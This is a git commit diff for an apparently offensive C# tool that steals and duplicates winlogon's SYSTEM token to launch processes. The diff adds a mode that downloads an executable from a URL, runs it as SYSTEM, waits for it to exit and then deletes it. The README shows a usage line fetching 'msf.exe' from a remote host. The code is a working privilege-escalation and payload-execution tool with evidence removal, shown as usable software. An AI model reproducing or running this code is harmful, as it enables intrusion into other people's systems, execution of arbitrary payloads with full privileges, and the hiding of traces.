Adding self-deletion for net payload and removing hardcoded path for dropping the binary

Author: LongWayHomie

Program.cs

@@ -3,6 +3,7 @@
 using System.Diagnostics;
 using System.Runtime.InteropServices;
 using System.IO;
+using System.Net;
 
 //Based upon TokenDuplicator from Magnus Stubman
 //https://github.com/magnusstubman/tokenduplicator
@@ -115,6 +116,14 @@ public static extern bool CreateProcessWithTokenW(
         [DllImport("kernel32.dll")]
         public static extern uint GetLastError();
 
+        [DllImport("kernel32.dll", SetLastError = true)]
+        [return: MarshalAs(UnmanagedType.Bool)]
+        static extern bool CloseHandle(IntPtr hObject); // Needed to close token handles
+
+        [DllImport("kernel32.dll", SetLastError = true)]
+        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
+
+
         public static bool CheckHighIntegrity()
         {
             WindowsIdentity identity = WindowsIdentity.GetCurrent();
@@ -175,7 +184,7 @@ static void Main(string[] args)
             //In default, we are going to use services.exe as target process
             //Other possibilities that are running as SYSTEM: smss.exe, ntoskrln.exe
             String target = "winlogon";
-            string mode = args[0];
+            string mode = args[0].ToLowerInvariant(); //case insensitive
             string path = args[1];
             Console.WriteLine("[*] Mode: " + mode);
             Console.WriteLine("[*] High Integrity Context detected!");
@@ -229,22 +238,37 @@ static void Main(string[] args)
 
             if (mode == "net")
             {
-                //Destination of downloaded file
-                String dest = "C:\\Windows\\Tasks\\";
+                //Destination of downloaded file - user's temp directory
                 Console.WriteLine("[*] Downloading file from URL...");
-                String generated = GenerateNeutralName() + ".exe";
-                Console.WriteLine("[*] Full path of downloaded file: " + dest + generated);
+                String fullexepath = Path.GetTempPath() + GenerateNeutralName() + ".exe";
+                Console.WriteLine("[*] Full path of downloaded file: " + fullexepath);
+
                 System.Net.WebClient client = new System.Net.WebClient();
-                client.DownloadFile(path, dest + generated);
-                
-                if (!CreateProcessWithTokenW(hDuplicateToken2, LogonFlags.NetCredentialsOnly, null, dest + generated, CreationFlags.DefaultErrorMode, IntPtr.Zero, null, ref si, out pi))
+                client.DownloadFile(path, fullexepath);
+
+                if (!CreateProcessWithTokenW(hDuplicateToken2, LogonFlags.NetCredentialsOnly, null, fullexepath, CreationFlags.DefaultErrorMode, IntPtr.Zero, null, ref si, out pi))
                 {
                     Console.WriteLine("[!] CreateProcessWithTokenW failed with error: {0}", Marshal.GetLastWin32Error());
                     return;
                 }
 
-                Console.WriteLine("[*] Process " + generated + " created with SYSTEM token!");
+                Console.WriteLine("[*] Process " + fullexepath + " created with SYSTEM token!");
                 Console.WriteLine("[*] PID: " + pi.dwProcessId);
+
+                //Cleanup handles on tokens
+                if (hToken != IntPtr.Zero) CloseHandle(hToken);
+                if (hDuplicateToken != IntPtr.Zero) CloseHandle(hDuplicateToken);
+                if (hDuplicateToken2 != IntPtr.Zero) CloseHandle(hDuplicateToken2);
+                Console.WriteLine("[*] Handles closed.");
+
+                //Delete downloaded file - we need to wait for process to finish first
+                IntPtr ProcessHandle = pi.hProcess;
+                CloseHandle(pi.hThread);
+                Console.WriteLine("[*] Waiting for process to finish...");
+                WaitForSingleObject(ProcessHandle, 0xFFFFFFFF);
+                Console.WriteLine("[*] Process finished. Deleting downloaded file...");
+                File.Delete(fullexepath);
+                Console.WriteLine("[*] Downloaded file deleted. Exiting...");
             }
 
             if (mode == "local")
@@ -263,7 +287,13 @@ static void Main(string[] args)
                 }
 
                 Console.WriteLine("[*] Process " + path + " created with SYSTEM token!");
-                Console.WriteLine("[*] PID: " + pi.dwProcessId);
+                Console.WriteLine("[*] PID: " + pi.dwProcessId); 
+                
+                //Cleanup
+                if (hToken != IntPtr.Zero) CloseHandle(hToken);
+                if (hDuplicateToken != IntPtr.Zero) CloseHandle(hDuplicateToken);
+                if (hDuplicateToken2 != IntPtr.Zero) CloseHandle(hDuplicateToken2);
+                Console.WriteLine("[*] Handles closed. Exiting...");
             }
         }
     }

README.md

@@ -10,6 +10,7 @@ Local file execution:
 
 Remote file execution:
 `GetSystemPriv.exe net http://10.10.14.15/msf.exe`
+File will be downloaded to the temporary path based on user directory and immediately deleted once the process is closed.
 
 ## Images
 ![screenshot - terminal](images/screen_terminal.png)